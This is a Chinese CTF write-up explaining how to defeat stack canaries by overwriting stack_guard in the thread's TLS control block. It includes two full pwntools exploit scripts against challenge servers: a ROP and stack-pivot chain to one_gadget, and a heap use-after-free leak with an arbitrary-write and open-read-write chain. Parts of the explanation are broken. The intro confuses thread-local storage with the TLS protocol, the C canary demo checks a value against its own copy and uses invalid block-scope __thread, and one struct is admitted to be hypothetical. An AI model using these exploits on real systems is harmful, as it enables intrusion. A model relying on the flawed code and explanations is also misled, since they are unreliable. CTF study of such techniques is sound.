TLScanary：Pwn中的利器

引言：什么是TLScanary？

在二进制漏洞利用（Pwn）领域，攻击者面临着层层防护措施的挑战。在安全竞赛（如CTF）和实际漏洞利用中，TLS（线程本地存储）和堆栈保护（stack canary）是常见的防护技术。TLScanary应运而生，它结合了TLS协议与堆栈保护技术，专门用于处理这些受保护的二进制文件，从而增加了攻击的难度。

可以说，TLS和canary在保护机制中有着密不可分的关系。

介绍：TLS的基本概念

TLS（线程本地存储）是一种在线程内存中存储特定数据的机制。每个线程都有自己独立的TLS区域，用于存储与该线程相关的数据。这种机制在多线程程序中尤为重要，因为它确保每个线程都有自己独立的存储空间，而不会干扰其他线程的数据。

在堆栈保护方面，TLS常被用于存储堆栈canary值。堆栈canary是一种防止缓冲区溢出攻击的安全措施，它是一种在函数返回地址之前插入的特殊值。其作用类似于“哨兵”，如果缓冲区溢出覆盖了canary值，程序会在返回前检测到不一致，并立即终止执行，从而防止恶意代码的运行。

对于多线程的canary来说，每个线程的canary都是独立存在的。当一个线程被创建时，操作系统会为该线程分配一个独立的TLS区域，这个区域通常通过某种线程控制块（TCB）来管理。每个线程都有一个独立的TCB，从而确保了每个线程的canary值的独立性和安全性。

多线程环境中的TLS和Canary

在多线程环境中，每个线程的堆栈上都会有一个独立的canary值。操作系统或运行时库在为每个线程分配堆栈时，会在堆栈的适当位置插入一个canary值，以防止缓冲区溢出攻击。

下面我们看一段代码，展示了如何在多线程环境中使用TLS和canary：

#include <pthread.h>

#include <stdio.h>

#include <stdlib.h>



// 生成随机canary值的函数

unsigned long generate_random_canary() {

    return (unsigned long)rand();

}



// 终止程序的函数

void terminate_program() {

    printf("Canary value has been modified. Terminating program.\n");

    exit(1);

}



// 线程函数

void* thread_function(void* arg) {

    // 每个线程有自己独立的TLS区域

    __thread int thread_local_variable = 0;

    

    // 在函数入口处插入canary值

    unsigned long canary_value = generate_random_canary();

    unsigned long expected_canary_value = canary_value;

    

    // 检查canary值是否被修改

    if (canary_value != expected_canary_value) {

        terminate_program();

    }

    

    // 线程的实际工作

    // ...

    

    return NULL;

}



int main() {

    const int NUM_THREADS = 5;

    pthread_t threads[NUM_THREADS];

    

    // 创建多个线程

    for (int i = 0; i < NUM_THREADS; i++) {

        pthread_create(&threads[i], NULL, thread_function, NULL);

    }

    

    // 等待所有线程完成

    for (int i = 0; i < NUM_THREADS; i++) {

        pthread_join(threads[i], NULL);

    }

    

    return 0;

}

可以看到，每个线程都有自己的TLS区域和独立的canary值，从而确保了多线程程序的安全性。

但是，多线程的canary通常也有被利用的时候，当程序创建线程的时候会创建TLS，TLS里面会存储有canary的值，而TLS会保存在stack高地址的地方那么就是说，如果我们可以通过溢出覆盖到TLS的位置那么就可以绕过canary，但是这个条件比较苛刻。

溢出字节够大，通常至少一个page（4K）
创建一个线程，在线程内栈溢出

所以一般来说还是比较安全的，但是不排除，有些疏忽的漏洞导致攻击者可以修改到stack_guard字段的内容，要了解stack_guard首先先看两个结构体。

struct pthread结构体解析

为了更好地理解TLS和canary的具体实现，我们需要了解struct pthread结构体。这个结构体包含了线程控制块（TCB）和其他相关信息。

#include <stddef.h> // 为了使用 size_t



/* Definition of the tcbhead_t structure (hypothetical) */

typedef struct {

    // 定义线程控制块头部结构体

    // 可以根据实际情况进行定义

    // 例如：线程ID、状态信息等

    int thread_id;

    // 其他相关信息

} tcbhead_t;



/* Define the pthread structure */

struct pthread {

#if !TLS_DTV_AT_TP

    /* This overlaps the TCB as used for TLS without threads (see tls.h).  */

    tcbhead_t header; // 可能与TLS相关的头部信息

#else

    struct {

        // 更复杂的结构体定义

        // 可能包含与TLS相关的更多详细信息

        // ...

    } header;

#endif



    /* Extra padding for alignment and potential future use */

    void *__padding[24]; // 填充数组，用于对齐和可能的未来扩展

};

在这个结构体中，我们看到第一个字段是tcbhead_t，它包含了线程控制块（TCB）的相关信息。

tcbhead_t结构体解析

typedef struct {

    void *tcb;            /* 指向线程控制块（TCB）的指针 */

    dtv_t *dtv;           /* 线程特定数据的指针 */

    void *self;           /* 指向线程描述符的指针 */

    int multiple_threads; /* 标识是否有多个线程 */

    int gscope_flag;      /* 全局作用域标志 */

    uintptr_t sysinfo;    /* 系统信息 */

    uintptr_t stack_guard;/* 堆栈保护 */

    uintptr_t pointer_guard; /* 指针保护 */



    /* 其他可能的字段... */

} tcbhead_t;

在这个结构体中，stack_guard字段存放的就是单线程的canary值。攻击者通常可以通过覆盖这个值的内容来绕过canary保护。

如何利用TLScanary进行攻击

要利用TLScanary进行攻击，攻击者需要找到覆盖或篡改canary值的方法，从而绕过堆栈保护。具体步骤如下：

定位canary值：找到目标程序中存放canary值的内存位置。
构造溢出：利用缓冲区溢出或其他漏洞覆盖canary值。
篡改canary值：将canary值修改为正确的值，避免程序检测到不一致。
执行攻击代码：利用篡改后的内存执行恶意代码。

对于多线程和单线程的canary利用，各用一个具体的题目演示一下

多线程TLScanary

题目保护情况（除pie外剩下全部开启）

64位ida反汇编看看

可以看见有创建线程的函数，pthread_create和加入线程的函数，pthread_join。下面介绍一下这两个函数

线程函数介绍

在多线程编程中，POSIX线程（Pthreads）库提供了一组函数，用于创建和管理线程。本文将介绍两个关键函数：pthread_create 和 pthread_join，以及它们在实际代码中的应用。

pthread_create 函数用于创建一个新线程，并指定线程的起始例程和参数。其原型如下：

int pthread_create(pthread_t *thread, const pthread_attr_t *attr, void *(*start_routine)(void *), void *arg);

参数说明：

pthread_t *thread：指向线程标识符的指针，用于存储创建的线程的ID。
const pthread_attr_t *attr：线程属性指针，可以用于设置线程属性。如果传入 NULL，则使用默认属性。
void *(*start_routine)(void *)：指向线程起始例程的指针，即线程开始执行的函数。
void *arg：传递给起始例程的参数。

那么刚刚ida看见的代码意思就是

pthread_create 函数被调用以创建一个新线程，执行 start 函数。

创建线程后，主线程调用 pthread_join，等待新线程结束。

如果 pthread_join 返回非零值，则表示发生错误，可以在 if 语句中处理，打印处异常。

那么接下来看看加入的线程，start函数

那么可以看见给了一个很长的长度够我们溢出，很符合第一个多线程TLS canary攻击的前提。

分析：

我们可以通过覆盖线程canary来绕过canary，但是创建线程程序只能运行一次，而且每个线程的canary是独立的，也就意味着我们只能一条ROP链达到泄露地址执行one_gadget

思路：

1.覆盖线程TLS，修改canary的内容

2.在泄露libc地址的同时把one_gadget读入bss段上

3.进行栈迁移执行one_gadget

EXP：

#!/usr/bin/env python

# coding=utf-8

from pwn import *

context(log_level='debug',arch='amd64',os='linux')

libc = ELF('./libc6_2.27-3ubuntu1.5_amd64.so')

io =remote('pwn.challenge.ctf.show',28270)

elf =ELF('../pwn89')

puts_plt = elf.plt["puts"]

put_got = elf.got["puts"]

read_plt = elf.plt["read"]

leave = 0x400B71

pop_rdi_ret = 0x400be3

pop_rsi_r15_ret = 0x400be1

bss_addr = 0x602010

payload = b'a' * 0x1010 + p64(bss_addr - 0x8)+ p64(pop_rdi_ret) + p64(put_got) + p64(puts_plt)

payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0) + p64(read_plt)

payload += p64(leave)

payload = payload.ljust(0x1900,b'a')

io.sendlineafter("send:\n",str(0x1900))

#sleep(1)

io.send(payload)

io.recvuntil("See you next time!\n")

puts_addr = u64(io.recv(6).ljust(8,b'\x00'))

success('puts_addr------>'+hex(puts_addr))

one_gadget = puts_addr - libc.sym['puts'] + 0x10a2fc

io.sendline(p64(one_gadget))

io.interactive()

单线程TLScanary

题目保护情况（保护全开）

64位ida反汇编

初看是堆的菜单，我们到具体函数分析一下

add函数，申请堆块的大小有限制，会创建另一个堆块存储我们堆块的指针

delete函数，存在明显的UAF漏洞

show函数，可以分别打印我们创建的堆块已经程序创建堆块的内容（后者只能用一次）

edit函数，存在一个很严重的漏洞，可以任意地址写，但是由于unsigned_int8类型指针的限制我们只能改一个字节

除此之外，read函数还有溢出，但是溢出长度不够

程序开了沙箱，不能直接获取shell，只能orw获取flag

分析：

存在UAF漏洞和打印函数，可以泄露heap地址和libc地址，可以通过任意地址写覆盖TLScanary，通过栈迁移，执行ORW

思路：

1.通过UAF漏洞，和show功能，分别泄露heap地址，和libc地址

2.通过任意地址写，覆盖 stack_guard，进而绕过canary

3.通过栈迁移，把程序流劫持到heap上使用orw获取flag

EXP：

from pwn import *

context(log_level='debug',arch='amd64',os='linux')



libc =ELF('./libc-2.31.so')

#io = process('./binding')

io = remote('node5.buuoj.cn',26892)

def add(index,size,content):

    io.sendlineafter('choice:','1')

    io.sendlineafter('Idx:',str(index))

    io.sendlineafter('Size:',str(size))

    io.sendafter('Content:',content)







def edit(index,content1,content2):

    io.sendlineafter('choice:','2')

    io.sendafter('Idx:',index)

    io.sendafter('context1: ',content1)

    io.sendafter('context2: ',content2)





def show(rw,index):

    io.sendlineafter('choice:','3')

    io.sendlineafter('choice:',rw)

    io.sendlineafter('Idx:',str(index))







def free(index):

    io.sendlineafter('choice:','4')

    io.sendlineafter('Idx:',str(index))









#gdb.attach(io)

for i in range(6):

    add(i,0x100,'a')



for i in range(1,5):

    free(i)



#gdb.attach(io)

show('0',2)

io.recvuntil(': ')

heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x5d0

success('heap_base----->'+hex(heap_base))



#gdb.attach(io)

show('1',4)

io.recvuntil(': ')

libc_base = u64(io.recv(6).ljust(8,b'\x00'))  - 96 - 0x10 -libc.sym['__malloc_hook']

success('libc_base----->'+hex(libc_base))

TLS = libc_base + 0x1f3568

success('TLS----->'+hex(TLS))

pause()



pop_rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret

pop_rsi = libc_base + 0x000000000002601f # pop rsi ; ret

pop_rdx = libc_base + 0x0000000000142c92 # pop rdx ; ret

leave_ret = libc_base + 0x00000000000578c8 # leave ; ret



#gdb.attach(io)

orw_payload = p64(pop_rdi) + p64(heap_base + 0x1010)+p64(pop_rsi) + p64(0)+p64(pop_rdx)+p64(0) +p64(libc.sym['open']+libc_base)

orw_payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x200)

orw_payload += p64(pop_rdx) + p64(0x30) + p64(libc.sym['read']+libc_base)

orw_payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x200) + p64(pop_rdx) + p64(0x30)

orw_payload += p64(libc.sym['write']+libc_base)



orw_payload = orw_payload.ljust(0xb0,b'a')

orw_payload += b'./flag\x00\x00'



add(6,0x120,orw_payload)



payload = b'0'.ljust(0x28, b'\x00') + p64(0) + p64(heap_base+0xf58) + p64(leave_ret)

edit(payload,p64(TLS),b'\x00'*8)





io.interactive()

结语：

TLScanary结合了TLS和堆栈canary的技术，显著增加了二进制漏洞利用的难度。理解TLS和canary的工作原理，对于编写更安全的程序和防范攻击至关重要。无论是单线程的canary还是多线程的canary，都需要我们去重视

总之，TLS 和 canary 不仅仅是安全技术的一部分，更是构建信任和保护用户隐私的基石。